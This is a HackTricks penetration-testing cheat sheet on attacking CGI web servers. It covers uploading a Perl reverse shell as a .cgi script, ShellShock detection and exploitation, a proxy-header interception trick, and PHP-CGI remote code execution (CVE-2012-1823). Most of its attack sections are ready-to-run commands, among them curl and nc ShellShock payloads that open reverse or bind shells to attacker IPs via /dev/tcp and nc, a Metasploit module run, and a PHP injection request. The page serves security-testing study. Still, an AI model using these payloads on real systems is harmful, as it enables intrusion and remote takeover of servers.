hacktricks/network-services-pentesting/pentesting-web/cgi.md

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# Information

The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.  
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)

# **ShellShock**

**ShellShock** is a **vulnerability** that affects the widely used **Bash** command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of **environment variables**, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching **malicious code** to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.

Exploiting this vulnerability the **page could throw an error**.

You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi\_mod** \(with cgi folder\) or using **nikto**.

## **Test**

Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.

**Nmap**

```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

## **Curl \(reflected, blind and out-of-band\)**

```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```

[**Shellsocker**](https://github.com/liamim/shellshocker)

```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```

## Exploit

```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```

# **Proxy \(MitM to Web server requests\)**

CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP\_HOST"="web.com"

As the HTTP\_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.

# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)

Basically if cgi is active and php is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.  
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters \(specially without sending the character "="\).  
Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**.

Then, in order to obtain **RCE** you can send this special query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and the **PHP code** to be executed in the **body of the request.  
Example:**

```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```

**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**



<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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